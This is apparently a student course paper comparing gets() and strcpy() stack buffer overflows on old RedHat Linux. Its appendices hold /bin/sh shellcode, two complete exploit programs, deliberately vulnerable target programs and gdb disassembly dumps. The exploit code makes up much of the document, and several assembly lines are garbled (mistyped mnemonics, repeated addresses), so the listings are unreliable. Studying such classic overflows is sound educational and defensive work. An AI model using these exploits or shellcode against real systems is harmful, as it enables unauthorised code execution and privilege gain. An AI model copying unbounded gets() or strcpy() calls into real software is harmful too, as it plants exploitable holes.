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Abstract:
The C functions gets() and strcpy() both have well-known buffer overflow vulnerabilities.  These vulnerabilities have been exploited multiple times, but the way they are exploited differs.  A superficial look at the two functions would seem to indicate that only minor changes in an exploit against strcpy() would work against gets(), but in reality the two functions handle input in very different ways.  This paper attempts to determine exactly how gets() can be exploited and why it requires a different attack by attempting to trace the exploit code through the i386 stack.


Note:  This paper was researched using RedHat 7.2,running Linux kernel 2.4.7-10 i386 & GNU C compiler version 2.96.  Later versions of these operating systems and software packages are more resistant to buffer overflow exploits.  In addition, the course homework assignment that this paper is based on the same software.

Comparison of gets() and strcpy() C source code:

The source code for gets() and strcpy() are similar and do not provide any details or clues as to why the two functions act differently.  However, a quick comparison of the two functions may be useful.

The gets() function is defined this way: 

“char *gets(char *str);


The gets() function reads characters from stdin and places them into the character array pointed to by str.  Characters are read until a newline or an EOF is received.  The newline character is not made part of the string; instead, it is translated into a null to terminate the string.

         
If successful, gets() returns str; a null pointer is returned upon failure.” [C: The Complete Reference, 4th Ed.,  p. 331]

strcpy() is defined as:

“char *strcpy(char *str1, const char *str2);


The strcpy() function copies the contents of str2 into str1.  str2 must be a pointer to a null-terminated string.  The strcpy() function returns a pointer to str1.”   [C: The Complete Reference, 4th Ed., p. 372]

A cursory comparison shows only minor differences:

1. gets() will read input into a buffer until either a newline (‘\n’) or EOF is read, at which point it stops reading the input. gets() takes input from STDIN, or a file that is redirected to STDIN.  gets() adds a NULL character (‘\0’) to the end of the read string to terminate it.

2. strcpy() reads & copies character by character from one buffer into a second buffer until a NULL character (‘\0’) is read.

Comparison of gets() & strcpy() disassembled source code:


Using the GNU debugger (gdb) on the C source code for each function shows increased differences.  (See Appendix C for the complete disassembled code for each function).  The differences can be summarized as:

1. gets() disassembles to 110 lines of assembly code.  strcpy() disassembles to sixteen lines of AT&T syntax assembly code. (Note: Using gdb results is AT&T syntax assembly.)

2. gets() has direct calls to four other functions, and up to four sublevels of calls to up to eighteen other functions.  If all the called functions are disassembled and listed, they run to approximately 2,300 lines of assembly code.  strcpy() makes no calls to other functions and is therefore self-contained. 

Comparison of exploited gets() & strcpy() behavior:

The core of the shellcode used to exploit the strcpy() buffer overflow vulnerability is as follows:

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b

\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd

\x80\xe8\xdc\xff\xff\xff/bin/sh”




[“Smashing The Stack For Fun and Profit]

Shellcode that works on gets() looks like this: 

“\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31

\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin

\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" 





[http://www.0xdeadbeef.info/code/gets-linux.c]

Both shellcodes are similar, however, the way they are used is slightly different.  The strcpy() shellcode is placed in a buffer (along with one or more NOP operations) and executed usually as input to the target program.  The gets() shellcode is usually entered as the output of specifically-written exploit code and piped into the target program as input in place of STDIN.

Both shellcodes are designed to create a new shell that the attacker can use, running with the same privileges as the target program.  Both work.  

Current status:

Unfortunately, the complexity of the gets() function makes tracing the shellcode through the stack difficult and prone to error.  At this time the author has made little significant progress except to find many methods that do not work.  Continued work by the author is needed,

Appendix A
Software versions used:

Operating system:


RedHat Standard:
7.2 

Linux kernel:

 2.4.7-10 on i386

GNU C Compiler (“gcc”):
2.96

GNU Debugger (“gdb”):
5.0 i386-redhat-linux

Appendix B
Source code for target & exploit programs:

Target program “bo.c”:

/* File:

bo.c

     Date:
12/02/2005


Course:
CS591 F2005


Purpose:

Semester project - this file is used as a 

                        target to exploit the gets() buffer 




  overflow vulnerability.

*/

#include <stdio.h>

int main(int argc, char* argv[])

{

     char a[256];

     gets(a); 

     printf("a = %s\n", a);

     return 0;

}

Exploit code “exploit3.c”:

#include <stdlib.h>

#define DEFAULT_OFFSET                    0

#define DEFAULT_BUFFER_SIZE             512

#define NOP                            0x90

char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

   __asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

  char *buff, *ptr;

  long *addr_ptr, addr;

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

  int i;

  if (argc > 1) bsize  = atoi(argv[1]);

  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }

  addr = get_sp() - offset;

  printf("Using address: 0x%x\n", addr);

  ptr = buff;

  addr_ptr = (long *) ptr;

  for (i = 0; i < bsize; i+=4)

    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)

    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

  for (i = 0; i < strlen(shellcode); i++)

    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);

  putenv(buff);

  system("/bin/bash");

}

Target program “vulnerable.c”:

void main(int argc, char *argv[]) {


char buffer[512];


if (argc > 1)



strcpy(buffer,argv[1]);

}

Exploit code “exploitGets.c”:

#include <stdlib.h>

#include <stdio.h>

char sc[] = 

"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"

"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char **argv)

{


char large_string[288];


long *long_ptr = (long *) large_string;


int i;


for (i = 0; i < 72; i++)


*(long_ptr + i) = (int) strtoul(argv[1], NULL, 16);


for (i = 0; i < (int) strlen(sc); i++)


large_string[i] = sc[i];


printf("%s", large_string);


return 0;

}

Appendix C

Disassembled code for target “bo”:
Dump of assembler code for function main:

0x080481e0 <main>:
push
%ebp

0x080481e1 <main+1>:
mov
%esp,%ebp

0x080481e3 <main+3>:
sub
$0x108,%esp

0x080481e9 <main+9>:
sub
$0xc,%esp

0x080481ec <main+12>:
lea
$0xffffef8(%ebp),%eax

0x080481f2 <main+18>:
push
%eax

0x080481f3 <main+19>:
call
0x80486b4 <_IO_gets>

0x080481f8 <main+24>:
add
$0x10,%esp

0x080481fb <main+27>:
sub
$ox8,%esp

0x080481fe <main+30>:
lea
0xffffef8(%ebp),%eax

0x08048204 <main+36>:
push
%eax

0x08048205 <main+37>:
push
$0x808dd28

0x0804820a <main+42>:
call
0x8048694 <printf>

0x0804820f <main+47>:
add
$0x10,%esp

0x08048212 <main+50>:
mov
$0x0,%eax

0x08048217 <main+55>:
leave

0x08048218 <main+56>:
ret

Assembly code of bo.s:


.file
“bo.c”



.version
“01.01”

gcc2_compiled.:



.section
.rodata

.LC0:



.string “a = %s\n”

.text;



.align 4

.globl main


.type
main, @function

main:


pushl
%ebp


movl
%esp, %ebp


subl
$264, %esp


subl
$12, %esp


leal
-264(%ebp), %eax


pushl
%eax


call
gets


addl
$16, %esp


subl
$8, %esp


leal
-264(%ebp), %eax


pushl
%eax


pushl
$,LCO


call
printf


addl
$16, %esp


movl
$0, %eax


leave


ret

.Lfe1:


.size
main,.Lfe1-main


.ident
“GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)

Dump of assembler code for function gets():

0x080488d8 <gets+0>:
push
%ebp

0x080488d9 <gets+1>:
mov
%esp,%ebp

0x080488db <gets+3>:
push
%edi

0x080488dc <gets+4>:
push
%esi

0x080488dd <gets+5>:
push
%ebx

0x080488de <gets+6>:
sub
$0x2c,%esp

0x080488e1 <gets+9>:
mov
0x80a495c,%edx

0x080488e7 <gets+15>:
xor
%edi,%edi

0x080488e9 <gets+17>:
cmpw
$0x0,(%edx)

0x080488ed <gets+21>:
mov
0x8(%ebp),%ebx

0x080488f0 <gets+24>:
js
0x8048900 <gets+40>

0x080488f2 <gets+26>:
mov
$0x0,%eax

0x080488f7 <gets+31>:
test
%eax,%eax

0x080488f9 <gets+33>:
je
0x8048900 <gets+40>

0x080488fb <gets+35>:
mov
$0x1,%edi

0x08048900 <gets+40>:
test
%edi,%edi

0x08048902 <gets+42>:
jne
0x80489f8 <gets+288>

0x08048908 <gets+48>:
cmpw
$0x0,(%edx)

0x0804890c <gets+52>:
jns
0x80489e0 <gets+264>

0x08048912 <gets+58>:
mov
0x4(%edx),%eax

0x08048915 <gets+61>:
cmp
0x8(%edx),%eax

0x08048918 <gets+64>:
jae
0x80489cc <gets+244>

0x0804891e <gets+70>:
movzbl
(%eax),%ecx

0x08048921 <gets+73>:
inc
%eax

0x08048922 <gets+74>:
mov
%eax,0x4(%edx)

0x08048925 <gets+77>:
cmp
$0xffffffff,%ecx

0x08048928 <gets+80>:
je
0x80489c8 <gets+240>

0x0804892e <gets+86>:
xor
%eax,%eax

0x08048930 <gets+88>:
cmp
$0xa,%ecx

0x08048933 <gets+91>:
je
0x8048982 <gets+170>

0x08048935 <gets+93>:
mov
0x80a495c,%edx

0x0804893b <gets+99>:
mov
(%edx),%eax

0x0804893d <gets+101>:
mov
%eax,%esi

0x0804893f <gets+103>:
sub
$0xc,%esp

0x08048942 <gets+106>:
and
$0x20,%esi

0x08048945 <gets+109>:
and
$0xffffffdf,%eax

0x08048948 <gets+112>:
mov
%eax,(%edx)

0x0804894a <gets+114>:
mov
%esi,0xffffffd4(%ebp)

0x0804894d <gets+117>:
mov
%cl,(%ebx)

0x0804894f <gets+119>:
push
$0x0

0x08048951 <gets+121>:
push
$0xa

0x08048953 <gets+123>:
push
$0x7fffffff

0x08048958 <gets+128>:
lea
0x1(%ebx),%edx

0x0804895b <gets+131>:
push
%edx

0x0804895c <gets+132>:
pushl 
0x80a495c

0x08048962 <gets+138>:
call
0x805a390 <_IO_getline>

0x08048967 <gets+143>:
mov
0x80a495c,%edx

0x0804896d <gets+149>:
mov
(%edx),%ecx

0x0804896f <gets+151>:
nc
%eax

0x08048970 <gets+152>:
add
$0x20,%esp

0x08048973 <gets+155>:
xor
%esi,%esi

0x08048975 <gets+157>:
test
$0x20,%ecx

0x0804897b <gets+163>:
jne
0x804898e <gets+182>

0x0804897d <gets+165>:
or
0xffffffd4(%ebp),%ecx

0x08048980 <gets+168>:
mov
%ecx,(%edx)

0x08048982 <gets+170>:
movb
$0x0,(%eax,%ebx,1)

0x08048986 <gets+174>:
mov
%ebx,%esi

0x08048988 <gets+176>:
mov
0x80a495c,%edx

0x0804898e <gets+182>:
cmpw
$0x0,(%edx)

0x08048992 <gets+186>:
jns
0x80489b8 <gets+224>

0x08048994 <gets+188>:
test
%edi,%edi

0x08048996 <gets+190>:
jne
0x80489a4 <gets+204>

0x08048998 <gets+192>:
lea
0xfffffff4(%ebp),%esp

0x0804899b <gets+195>:
pop
%ebx

0x0804899c <gets+196>:
mov
%esi,%eax

0x0804899e <gets+198>:
pop
%esi

0x0804899f <gets+199>:
op
%edi

0x080489a0 <gets+200>:
leave  

0x080489a1 <gets+201>:
ret

0x080489a2 <gets+202>:
mov
%esi,%esi

0x080489a4 <gets+204>:
sub
$0x8,%esp

0x080489a7 <gets+207>:
push
$0x0

0x080489a9 <gets+209>:
lea
0xffffffd8(%ebp),%ecx

0x080489ac <gets+212>:
push
%ecx

0x080489ad <gets+213>:
call
0x0

0x080489b2 <gets+218>:
add
$0x10,%esp

0x080489b5 <gets+221>:
jmp
0x8048998 <gets+192>

0x080489b7 <gets+223>:
nop

0x080489b8 <gets+224>:
sub
$0xc,%esp

0x080489bb <gets+227>:
push
%edx

0x080489bc <gets+228>:
call
0x805a138 <funlockfile>

0x080489c1 <gets+233>:
add
$0x10,%esp

0x080489c4 <gets+236>:
jmp
0x8048994 <gets+188>

0x080489c6 <gets+238>:
mov
%esi,%esi

0x080489c8 <gets+240>:
xor
%esi,%esi

0x080489ca <gets+242>:
jmp
0x8048988 <gets+176>

0x080489cc <gets+244>:
sub
$0xc,%esp

0x080489cf <gets+247>:
push
%edx

0x080489d0 <gets+248>:
call
0x8048da4 <__uflow>

0x080489d5 <gets+253>:
mov
%eax,%ecx

0x080489d7 <gets+255>:
add
$0x10,%esp

0x080489da <gets+258>:
jmp
0x8048925 <gets+77>

0x080489df <gets+263>:
nop

0x080489e0 <gets+264>:
sub
$0xc,%esp

0x080489e3 <gets+267>:
push
%edx

0x080489e4 <gets+268>:
call
0x805a118 <flockfile>

0x080489e9 <gets+273>:
add
$0x10,%esp

0x080489ec <gets+276>:
mov
0x80a495c,%edx

0x080489f2 <gets+282>:
jmp
0x8048912 <gets+58>

0x080489f7 <gets+287>:
nop

0x080489f8 <gets+288>:
push
%eax

0x080489f9 <gets+289>:
pushl
0x80a495c

0x080489ff <gets+295>:
push
$0x805a138

0x08048a04 <gets+300>:
lea
0xffffffd8(%ebp),%edx

0x08048a07 <gets+303>:
push
%edx

0x08048a08 <gets+304>:
call
0x0

0x08048a0d <gets+309>:
add
$0x10,%esp

0x08048a10 <gets+312>:
mov
0x80a495c,%edx

0x08048a16 <gets+318>:
jmp
0x8048908 <gets+48>

0x08048a1b <gets+323>:
nop

Assembly code of vulnerable.s:


.file
“vulnerable.s”


.version     “01.01”


gcc2_compiled.:


.text



.align 4


.globl main



.type
main, @function


main:



pushl
%ebp



movl
%esp, %ebp



subl
$520, %esp



cmpl
$1, 8(%ebp)



jle
.L3



subl
$8, %esp



movl
12(%ebp), %eax



addl
$4, %eax

 

pushl
(%eax)



leal
-520(%ebp), (%eax)



pushl
%eax



call
strcpy



addl
$16, %esp


.L3:



leave


.Lfe1:



.size
main,.Lfe1-main



.ident
“GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)”

Disassembled code for target vulnerable:
Dump of assembler code for function main:

0x8048460 <main>:
push
%ebp

0x8048461 <main+1>:
mov
%esp,%ebp

0x8048463 <main+3>:
sub
$0x208,%esp

0x8048469 <main+9>:
cmpl
$0x1, 0x8(%ebp)

0x8048463 <main+13>:
jle
0x8048489 <main+41>

0x8048463 <main+15>:
sub
$0x8,%esp

0x8048463 <main+18>:
mov
$0xc(%ebp),%eax

0x8048463 <main+21>:
add
$0x4,%eax

0x8048463 <main+24>:
pushl
%eax

0x8048463 <main+26>:
lea
0xfffffdf8(%ebp),%eax

0x8048463 <main+32>:
push
%eax

0x8048463 <main+33>:
call
0x804834c <strcpy>

0x8048463 <main+38>:
add
$0x10,%esp

0x8048463 <main+41>:
leave

0x8048463 <main+42>:
ret

0x8048463 <main+43>:
nop

0x8048463 <main+44>:
nop

0x8048463 <main+45>:
nop

0x8048463 <main+46>:
nop

0x8048463 <main+47>:
nop

Dump of assembler code for function strcpy():

0x0804d978 <strcpy+0>:
push
%ebp

0x0804d979 <strcpy+1>:
mov
%esp,%ebp

0x0804d97b <strcpy+3>:
mov
0xc(%ebp),%edx

0x0804d97e <strcpy+6>:
mov
0x8(%ebp),%eax

0x0804d981 <strcpy+9>:
sub
%edx,%eax

0x0804d983 <strcpy+11>:
lea
0xffffffff(%eax),%ecx

0x0804d986 <strcpy+14>:
mov
%esi,%esi

0x0804d988 <strcpy+16>:
mov
(%edx),%al

0x0804d98a <strcpy+18>:
inc
%edx

0x0804d98b <strcpy+19>:
test
%al,%al

0x0804d98d <strcpy+21>:
mov
%al,(%ecx,%edx,1)

0x0804d990 <strcpy+24>:
jne
0x804d988 <strcpy+16>

0x0804d992 <strcpy+26>:
mov
0x8(%ebp),%eax

0x0804d995 <strcpy+29>:
leave

0x0804d996 <strcpy+30>:
ret

0x0804d997 <strcpy+31>:
nop
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